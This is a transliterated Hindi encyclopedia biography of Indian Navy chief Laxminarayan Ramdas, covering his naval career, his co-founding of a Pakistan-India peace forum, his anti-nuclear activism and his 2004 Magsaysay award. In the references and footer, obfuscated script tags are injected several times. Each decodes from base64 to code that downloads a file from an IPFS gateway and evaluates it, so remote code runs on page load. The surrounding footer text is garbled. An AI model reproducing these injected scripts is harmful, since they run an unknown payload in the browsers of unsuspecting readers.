लक्ष्मीनारायण रामदास

	lakshminarayan ramadas
	lakshminarayan ramadas\|200px\|center
poora nam	lakshminarayan ramadas
janm	5 sitambar, 1933
janm bhoomi	mumbee, maharashtr
pati/patni	lalita
karm bhoomi	bharat
puraskar-upadhi	reman maigsese puraskar (2004)
vishesh yogadan	lakshminarayan ramadas ne pakistan ke abdurrahaman ke sath milakar donoan deshoan ke hit mean ‘pakistan indiya phoram ph aaur pis end demokresi’ ka gathan kiya aur donoan deshoan ke bich rajanaitik bhedabhav bhoolakar shanti tatha lokatantr banane ki disha mean kam kiya.
nagarikata	bharatiy
any janakari	1990 mean lakshminarayan ramadas, kramash: padonnati pate hue bharatiy nausena ke pramukh ke pad par pahuanch ge the. inhean yah saubhagy 30 navambar, 1990 ko prapt hua tha.
adyatan‎	11:34, 06 aktoobar-2016 (IST)

lakshminarayan ramadas (aangrezi: Laxminarayan Ramdas, janm- 5 sitambar, 1933, mumbee, maharashtr) aantararashtriy star par shaanti sthapit karane ke lie varsh 2004 ka 'reman maigsese puraskar' pane vale bharatiy haian. bharat ki ajadi ke bad hue desh ke vibhajan ne bharat tatha ne bane desh pakistan ke bich vaimanasy tatha ashanti ka ek atoot vatavaran bana diya tha. kashmir ke mudde ne bhi is sthiti ko aur hava di aur donoan deshoan ke bich sambandh samany nahian ho pae. ashanti aur apasi vair-bhav badhata gaya. baangladesh ke pakistan se alag hone ne bhi is tanav ko aur gahara kiya. is tarah hindustan aur pakistan ke bich katu sambadhoan ne rajanaitik roop se donoan deshoan ki shanti ko prabhavit kiya. aise mean pakistan ke abdurrahaman tatha bharat ke lakshminarayan ramadas ne sanvid roop se donoan deshoan ke hit mean ‘pakistan indiya phoram ph aaur pis end demokresi’ ka gathan kiya aur donoan deshoan ke bich rajanaitik bhedabhav bhoolakar shanti tatha lokatantr banane ki disha mean kam karane lage. in donoan ki is sajha koshish ke lie, jo ki antararashtriy star par shanti kayam karane ka ek kadam tha, in donoan ko sanyukt roop se varsh 2004 ka 'maigsese puraskar' pradan kiya gaya.^[1]

parichay

lakshminarayan ramadas ka janm 5 sitambar, 1933 mean mumbee mean hua tha. bharat-pakistan vibhajan ke samay vah dilli mean the. lakshminarayan shiksha poori karane ke bad phauj ki naukari ke lie ‘indiyan armd phors ekedami deharadoon’ dvara chune ge aur unhean r aauyal neval k aaulej dartamauth ianglaind mean prashikshan ke lie bhej diya gaya. vahaan se prashikshit hone ke bad lakshminarayan ne kamishand adhikari ke roop mean 1 sitambar, 1953 ko bharatiy nausena mean kadam rakha.

neval ekedami ke pramukh

nausena mean kam karate hue lakshminarayan kochchi, keral ki neval ekedami ke pramukh bhi rahe, kintu inake nausena ke poore anubhav kal mean 1971 mean hue bharat-pak yuddh ka bahut mahattv hai. is yuddh mean inaki muthabhe d pakistan ke ek yuddhapot se huee jo poorvi pakistan par bamabari ke kam mean badh raha tha. us yuddh mean pakistan ek desh-vibhajan ki sthiti se gujara tha aur usaka ek hissa poorvi pakistan, baangladesh ke nam se ek svatantr rashtr ban gaya tha. 1990 mean lakshminarayan ramadas, kramash: padonnati pate hue nausena ke pramukh ke pad par pahuanch ge the. inhean yah saubhagy 30 navambar, 1990 ko prapt hua tha.

'pakistan indiya pipuls ph aauram ph aaur pis end dremokesi’ ki sthapana

varsh 1993 mean lakshminarayan ramadas nausena se padamukt hue tatha unhoanne ek pakistani nagarik ko apane damad ke roop mean chuna. isase unaka ju dav pakistan ke paridrishy se hua. tabhi, 1993 mean hi, pakistan ke ek patrakar abdurrahaman ek ne vichar ke sath ubhare. vah us samay taims mean kam kar rahe the aur sarakar ki or se dabav mean the, kyoanki unhoanne pakistan sarakar ki alochana ka sahas kiya tha. rahaman ke ne vichar ne bharat tatha pakistan ke ek jaisi soch vale logoan se sampark kiya aur donoan deshoan ke bich shanti tatha sauhardata banane ke lie jan sanvad ka koee manch banane ka kam shuroo kiya. isi silasile mean unaka sampark lakshminarayan ramadas se hua. lakshminarayan ramadas bhi is disha mean kuchh kie jane ki zaroorat mahasoos kar rahe the. rahaman tatha lakshminarayan ramadas ne milakar ‘pakistan indiya pipuls ph aauram ph aaur pis end dremokesi’ ki sthapana ki. is sanstha ke pakistan ki or se rahaman, sansthapak adhyaksh bane tatha unhoanne lakshminarayan ramadas ko isaki bharatiy shakha ka upadhyaksh manonit kiya. is tarah 1996 se in donoan ki jo di ne kam shuroo kiya.^[1]

is sanstha ka pramukh hathiyar sanvad tha, yani, yah sanstha batachit ko itana prabal manati thi, jisase ashanti ki divar toot sakati thi. varsh 1995 se hi is sanstha ne is disha mean apani koshish shuroo kar di. saik doan pakistani tatha bharatiy logoan ne milakar sena ke jamav doan ko kam karane ki koshish mean apani avaj uthaee. unaka jor is bat ko logoan tak pahuanchane ka tatha sarakaroan tak le jane ka raha ki donoan or se sashastr sainikoan ka dabav sima par kam kiya jae, taki dahashat aur shatruta ka bhav svat: paida n ho. sena ke hathoan mean sanharak hathiyar n die jaean, jinase akramak bhavana jagrat ho. sima se phaujoan ko pichhe hataya jae, jisase yuddh sir par rakha n pratit ho. simaoan ke ar-par se ek-doosare ko ukasane vali karyavahi band ho, taki sainikoan ke bhi dimag mean shanti tatha samanjasyata ka vichar upaj sake.

janadhar mean vriddhi

paramanu hathiyaroan ke khauph ko kam karane ki disha mean bhi is sanstha ne pahal ki tatha isaka sandesh donoan deshoan ki sarakaroan tak bheja gaya. prayas samane rakhe ge ki is se sambandhit sandhi ka koee aisa masauda bane, jis par donoan desh sahamat hoan tatha us khatare ko samajhean, jo in hathiyaroan ki bhayavahata ke chalate shaanti ke raste band karate haian. in kadamoan ke jarie yah bat samane laee gee ki shantipoorn tatha lokatantrik dhang se kashmir samasya ka hal nikalane ki sambhavana banaee jae. rahaman tatha lakshminarayan ke prayas se, bharat aur pakistan, donoan desh bari-bari se apane-apane deshoan mean sammelan ayojit karate rahe taki is sanstha ka janadhar b de. das varshoan tak yah silasila chalata raha. aise doosare manchoan ka vistar hua, jo isi uddeshy ko lekar chalana chahate the. is sanstha ke sarokaroan se paryavaran, manav adhikar, tred yooniyan, mahila adhikar adi kshetroan ke log ju dane lage. isake sath kee akadami udyogapati tatha doosare karobari bhi apana svar milane lage. spasht roop se is sanstha ka janadhar badhane laga.^[1]

unhian varshoan mean lakshminarayan ke tatha rahaman ke prayas se is sanstha ne apane-apane deshoan mean, apane pratinidhimandaloan ke jarie kanoonavidoan se, kootanitijnoan se, sainikoan, kalakaroan tatha chhatroan se amane-samane batachit tatha vichar vimarsh ke karyakram banae aur phir bharat tatha pakistan ke bich in logoan ka apasi sanvad bhi shuroo ho gaya. isaka makasad yah tha ki donoan deshoan ke log milakar rajanaitik star par hone vale us dushprachar ki khilaphat karean, jo donoan deshoan ke logoan ke bich vishaili dooriyaan paida karane ke makasad se kiya ja raha tha. is sanstha ne rahaman tatha lakshminarayan ki aguvaee mean is abhiyan ko bhi donoan deshoan mean chalaya ki donoan deshoan ke bich avagaman ko badhava mile. sath hi is bat ki bhi satarkata barati jane lagi ki pathh‌y-pustakoan se aisi samagri hataee jae, jo donoan deshoan ke prati hikarat kar bhav paida kare. doosare star par lakshminarayan ramadas tatha rahaman, donoan apane-apane deshoan mean, svayan jakar apani-apani sarakaroan ke uchchadhikariyoan se mil kar unhean is bat par sahamat karane lage ki yah sanstha koee adambar bhar nahian hai, yah sachamuch shanti tatha sauhard ke lie kam kar rahi hai. yah kaha gaya, ki itana hi kafi hai ki donoan deshoan ke log khule dil se ek doosare se mil-jul kar batachit kar sakean, isaka mahaul bane. is sandarbh mean lakshminarayan apana anubhav batate haian ki vah phauj mean ek kirae ke tattoo ki tarah ghuse aur usake mahaul se uttejit ho ge, lekin samay ke sath unhean is bat ka poora ehasas ho gaya ki rajanaitik samasyaoan ke hal ki koshish mean phauj koee bahut b di aur sthayi madad nahian kar sakati. unake isi ehasas ne unhean sanstha ke makasad se poori tarah jo de rakha.

jivan ke do anubhav

lakshminarayan ramadas ke jivan ke do anubhav unake lie bahut b da sabak bane. vah bahut sanvedanashil dhang se us prasang ko yad karate haian, ki vah sirph chaudah baras ke balak the, jab pakistan bana tha aur inake parivar valoan ne dilli mean kuchh musalamanoan ki hiphajat ke lie unhean apane ghar mean chhipa liya tha. lakshminarayan batate haian ki unake ek or vah sharanagat musalaman parivar tha, aur doosari or uttejit bhi d ka dar jo desh mean musalamanoan ko khoj-khoj kar marane ki phirak mean thi . is drishtaant ne unake man mean is vaimanasy ke prati khilaphat ke bij bo die the.

isi tarah mee 1998 mean jab bharat ne paramanu parikshan kiya to unaka man virodh se bhar utha. julaee mean hi unhoanne sevanivritt logoan ke hastakshar karate hue apani or se ek prativad jari kiya jisaka sandesh tha- "anavik hathiyar n keval dakshin eshiya kshetr se balki poore vishv se hamesha ke lie pratibandhit kar dene chahie." isake sath hi lakshminarayan apani patni lalita ke sath milakar anavik hathiyaroan ke virodh ke abhiyan mean jut ge. unhoanne bharat tatha pakistan, donoan hi deshoan ko is galat tantr par nirbharata ke viruddh chetavani di ki vah is dambhapoorn, behad hiansak anavik hathiyaroan ke nashe ki girapht se bahar aean. lakshminarayan ramadas ka vishvas hai, ki in deshoan ki janata ki samajh, inaki sarakaroan se behatar hai, isalie unake man mean is bat ka vishvas hai ki yah abhiyan saphal hoga.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 lakshminarayan ramadas ka jivan parichay (hiandi) kaise aur kya. abhigaman tithi: 05 aktoobar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

Ramdas, Laxminarayan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[a-1] 1.0 ^1.1 ^1.2 ^1.3 lakshminarayan ramadas ka jivan parichay (hiandi) kaise aur kya. abhigaman tithi: 05 aktoobar, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]